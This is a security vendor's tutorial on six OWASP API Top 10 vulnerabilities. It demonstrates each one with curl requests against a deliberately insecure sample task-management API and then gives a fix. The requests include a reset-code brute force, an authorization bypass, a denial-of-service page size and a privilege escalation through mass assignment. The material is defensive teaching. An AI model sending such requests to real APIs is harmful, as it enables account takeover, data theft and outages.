ApriorIT

Application programming interfaces, or APIs, connect the software and services we use by enabling smooth data exchange. Often, they exchange highly sensitive information: personal data, user credentials, financial details, etc. That’s why APIs are popular targets for hacking attacks — 91% of companies experienced an API security incident during 2020 according to the State of API Security report [PDF] by Salt Security.

In this article, we overview the most widespread API vulnerabilities from the OWASP API Security project, show how exactly they can be exploited, and offer ways to protect your APIs from such security issues during development.

This article will be helpful for security testers and developers that want to improve the security of their APIs.

Contents:

What are the most widespread API vulnerabilities?

Creating a sample API

       Broken object level authorization

       Broken user authentication

       Excessive data exposure

       Lack of resources & rate limiting

       Broken function level authorization

       Mass assignment

Conclusion

What are the most widespread API vulnerabilities?

When working on application security, protecting APIs is one of the key tasks, since APIs are often gateways for attackers. Gartner predicts [subscription required] that by 2022, API abuses will become the most frequent vector of hacker attacks and will lead to many data breaches.

Prioritize your efforts at securing your APIs by focusing on the top 10 security risks for APIs according to the API Security Top 10 (2019) list provided by the OWASP API Security Project.

OWASP top 10 API security risks

Understanding how attackers can exploit weaknesses in your code is one of the key steps in securing against risks during API development. In this article, we’ll show you examples of how exactly attackers can exploit the first six vulnerabilities from the list. We won’t focus on the last four API security challenges, because they’re related to improper application of security mechanisms.

To show you how a malicious actor can exploit these vulnerabilities, we’ve created an unprotected API. We’ll show which parts of its code open the door to hackers and discuss how you can fix them. Let’s start with deploying an unprotected API.

Related services

Security Testing

Creating an example API 

For this article, we’ll create an API for a simple task management system. The system has users with different access levels and allows them to carry out simple tasks. Also, this system allows for user management activities: self-service registration, creation, editing, and deletion of user accounts.

The API will have the following endpoints:

Categories of API endpoints

You can use any Linux distribution as the environment for this API. To deploy the API, follow these steps:

  1. Install Docker
  2. Install Docker Compose
  3. Configure the email address in local.cfg (you’ll need this address to send password reset emails)
  4. Go to the API folder and execute the docker-compose up --build command

You can also download this sample API from our GitHub repository. The credentials for the API administrator account are: 

  • username: admin
  • password: admin

To read the API documentation, upload the ./swagger/swagger.yaml file from the API to Swagger Editor. When the API is deployed, we can start exploiting vulnerabilities and fixing them.

Broken object level authorization

Some APIs expose object identifiers, which are essential for access control mechanisms. These mechanisms validate that a user can access only those resources for which they have access rights. To exploit APIs with broken object level authorization, attackers change the authentication data of the requested resource in the API call and obtain access to protected data.

In our sample API, only users themselves and administrators can review users’ account details. Also, we added a security flaw during API development and made sure that the GET /user endpoint contains an object level authorization vulnerability. To detect it, we need to:

  • Register two users
  • Log in to the system as user1 via POST /login endpoint
  • Acquire an authentication token

We log in to the system with this request:

curl --location --request POST 'http://insecure_api:8080/api/login' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{"username":"user1","password":"password"}'

The API responds to our request with the following data:

{
    "id": 1,
    "username": "user1",
    "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
    "tasks": 1,
    "first_name": "User",
    "last_name": "API",
    "photo": null,
    "user_type": "user",
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0"
}

Here’s our authentication token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0

If we can acquire the token, we can use it to request user2 data via GET /user endpoint:

curl --location --request GET 'http://insecure_api:8080/api/user/2' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' \
--data-raw ''

Our vulnerable API responds with user2 data:

{
    "id": 2,
    "username": "user2",
    "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
    "tasks": 0,
    "first_name": null,
    "last_name": null,
    "photo": null,
    "user_type": "user"
}

If our API were protected against the object level authorization exploit, it would respond to the GET /user endpoint request with the following message:

{"message": "Unauthorized", "code": 403}

How can you fix it? 

To avoid broken object level authorization, make sure your authorization mechanisms check user hierarchy and access rights each time before providing users with access. The API needs to check user rights even after users log in to an application. Also, you can randomize user profile characteristics such as user IDs to make them harder to guess.

Broken user authentication

Issues with user authentication can allow attackers to impersonate users, access their personal data, and abuse access privileges. Usually, such vulnerabilities are hidden in password reset mechanisms. Let’s see how we can exploit broken user authentication in our API.

We start by executing this password reset request:

curl --location --request POST 'http://insecure_api:8080/api/reset_password' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it."
}'

When the request passes successfully, we’ll receive an email with a four-digit reset code to This email address is being protected from spambots. You need JavaScript enabled to view it.. After that, we can make the following request to change the password:

curl --location --request POST 'http://insecure_api:8080/api/reset_password/<CODE>' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it."
}'

The API doesn’t limit the number of attempts to input the reset code, which is why it’s especially easy to get a new password for the user account registered to This email address is being protected from spambots. You need JavaScript enabled to view it.. To guess the reset code, we just need to write a script that will try to use all codes from 0000 to 9999:

curl --location --request POST 'http://insecure_api:8080/api/reset_password/0000' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it."
}'
curl --location --request POST 'http://insecure_api:8080/api/reset_password/0001' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it."
}'
....
....
curl --location --request POST 'http://insecure_api:8080/api/reset_password/9999' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it."
}'

When the script enters the correct reset code, we’ll get a response with the new password:

{"password": "ICtim2aev9Uf2QzA"}

By exploiting this object level authorization vulnerability, we can obtain the login of the user that has this email, log in to their account, and change the email. 

In our sample API, there’s a security threat that allows us to reset a user’s password several times using the same reset code. We can pass this request with code 1111 and change the user’s password any time we want:

curl --location --request POST 'http://insecure_api:8080/api/reset_password/1111' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it."
}'

How can you fix it? 

Wherever possible, it’s best to implement multi-factor authentication to confirm the identity of the person trying to log in to an account. Also, treat credential recovery as an additional login endpoint: remember that credential recovery systems can also be brute forced. That’s why you need to implement a limitation on login attempts, CAPTCHA mechanisms, and other security measures.

Read also:
How to Implement Kerberos Authentication for Windows with the LSA Service API

Excessive data exposure

This API security vulnerability may appear when developers implement generic mechanisms for communication between an API and a client. In such a case, an API may send a client more data than it needs, and the client has to filter the data and hide irrelevant information from the user. Attackers can sniff this traffic and extract sensitive information from it: authentication tokens, account numbers, email addresses, etc.

To demonstrate this vulnerability in our API, we’ll request a task’s ID and full information about the user from the GET /task endpoint. This endpoint is supposed to return only the task ID, but let’s see what happens.

Here’s our request:

curl --location --request GET 'http://insecure_api:8080/api/task/1' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' \
--data-raw ''

And here’s how the GET /task endpoint responds:

{"id": 1, "title": "Task for user1", "description": "Important task to do", "status": "Open", "assignee": 2, "username":
"user1", "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.", "tasks": 1, "first_name": "User", "last_name": "API", "photo": null, "user_type":
"user"}

If an attacker intercepts this response, they will obtain all the information the API has about the user, even if it’s unavailable in the API’s client.

How can you fix it?

Relying on an application to filter data from an API is a bad cybersecurity practice. Instead, you should analyze which sensitive data your API has access to and review all possible responses from your API. Configure responses in such a way that they contain only the information the user requests and nothing else.

Read also:
How to Test REST API Services on the .NET Platform

Lack of resources & rate limiting

APIs can use CPU, RAM, and disk resources to process requests. Developers usually choose the resources allocated for an API according to the application’s business logic. If an attacker manages to bypass business logic limitations to create a situation where the API has to process more requests than it was designed to, the application will run out of resources and start malfunctioning or become unavailable.

In our API, GET ​/task​s contains this vulnerability. This endpoint supports paging — storing data from RAM on the hard drive. An attacker can abuse this capability to overload the API.

Let’s suppose that the application displays 10 tasks on one page. A request for displaying tasks will look like this:

curl --location --request GET 'http://insecure_api:8080/api/tasks?page=1&size=10' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' \
--data-raw ''

An attacker can send their own request with an enlarged size parameter to overload the API:

 curl --location --request GET 'http://insecure_api:8080/api/tasks?page=1&size=100000' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' \
--data-raw ''

If there are too many tasks in the database assigned to the user that requests tasks, the API will be overloaded, leading to the denial of service.

How can you fix it?

You can prevent a lack of resources and denial of service by limiting the resources that can be allocated for an API and the number of calls from the client to the API in a defined timeframe. This will create rate limiting, and the API will notify the application when it reaches the resource limit.

Another useful practice is to define the maximum size of data in request parameters that an API can process without slowing down.

Read also:
Internal Security Audit Checklist for Increasing Product Quality

Broken function level authorization

Misconfigured authorization mechanisms allow attackers to gain unauthorized access to sensitive resources and steal, edit, or create new user accounts. To detect this vulnerability, attackers send requests to access objects they shouldn’t be able to access.

We added the GET /admin/users endpoint to our API to demonstrate this vulnerability. This endpoint returns data on all users registered in the application without checking who requested the data (a user or an admin). Here’s an example of such a request:

 curl --location --request GET 'http://insecure_api:8080/api/admin/users' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' \
--data-raw ''

The GET /admin/users endpoint responds with the following code:

{
    "users": [
        {
            "id": 1,
            "username": "user1",
            "password": "password",
            "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
            "tasks": 1,
            "position": null,
            "first_name": "User",
            "last_name": "API",
            "photo": null,
            "user_type": "user"
        },
        {
            "id": 2,
            "username": "user2",
            "password": "password",
            "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
            "tasks": 0,
            "position": null,
            "first_name": null,
            "last_name": null,
            "photo": null,
            "user_type": "user"
        }
    ]
}

How can you fix it?

Enforce an authorization mechanism that denies any access to the API and the application by default. It should provide users with access only if they provide relevant credentials, belong to a certain group or role, or pass multi-factor authentication. After that, users should be allowed to access only the data they requested; when they request new data, they have to be authorized once again.

Mass assignment

Some developers design their APIs to assign object properties automatically when binding input from the application into code and internal objects. Many frameworks provide mass assignment functions to help speed up development. 

This approach is convenient for developers, but it also allows a user to change object properties that they shouldn’t access. Also, attackers can try to guess object properties or substitute them with new ones at their request. If an API is vulnerable to such requests, attackers can gain information about sensitive objects, read the documentation, or modify data objects.

In our API, the user object has this vulnerability. It has a user_type parameter with two possible values: user and administrator. When people register in our application by themselves, their accounts are assigned the user value by default. However, our API allows users to change this value via the PUT /user request. In this way, an attacker can gain administrator privileges.

To exploit this vulnerability, we’ll have to register a user with this request:

curl --location --request POST 'http://insecure_api:8080/api/sign_up' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
  "username": "user4",
  "password": "password"
}'

After that, we’ll get a response with user account details:

{"id": 4, "username": "user4", "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.", "tasks": 0, "user_type": "user"}

Then, we need to change the user_type field to admin:

curl --location --request PUT 'http://insecure_api:8080/api/user/4' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM5OTE1MTQsImlhdCI6MTYxMzkwNTExNCwic3ViIjo1fQ.gDGTa35XhXlYCt3e9LkKi1QRMiKlqmGVzfnfIurWyiw' \
--data-raw '{
  "username": "user4",
  "first_name": "User",
  "last_name": "API",
  "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
  "position": "User4_position",
  "user_type": "admin"
}'

The API will respond with updated user data:

{
    "id": 4,
    "username": "user4",
    "email": "This email address is being protected from spambots. You need JavaScript enabled to view it.",
    "tasks": 0,
    "first_name": "User",
    "last_name": "API",
    "photo": null,
    "user_type": "admin"
}

In this way, user4 will gain administrator access rights.

How can you fix it?

If you use a framework that automatically assigns code variables or object properties, define those parameters manually. To avoid unwanted changes in data that can be retrieved from the API, add the readOnly property for all such data.

Another way to detect and stop mass assignment attacks is to implement user and entity behavior analytics (UEBA) in your application. A UEBA system will figure out the normal behavior for an API and alert you of suspicious actions like changing objects that the API usually doesn’t change.

Read also:
A Comprehensive Guide to Hooking Windows APIs with Python

Conclusion

Mitigating security issues from the OWASP API Security project is critical for ensuring an application’s protection. To prioritize testing procedures and save some time, you can focus on finding and fixing the most widespread vulnerabilities that we discussed in this article.

At Apriorit, we develop our APIs with cybersecurity in mind and always test them before rollout. Сontact us in the form below so we can start improving your project!

Tell us about your project
Send us a request for proposal! We’ll get back to you with details and estimations.

Browse
By clicking Send you give consent to processing your data

Book an Exploratory Call

Do not have any specific task for us in mind but our skills seem interesting?

Get a quick Apriorit intro to better understand our team capabilities.

Contact Us

  • +1 202-780-9339
  • [email protected]
  • 3524 Silverside Road Suite 35B Wilmington, DE 19810-4929 United States
  • D-U-N-S number: 117063762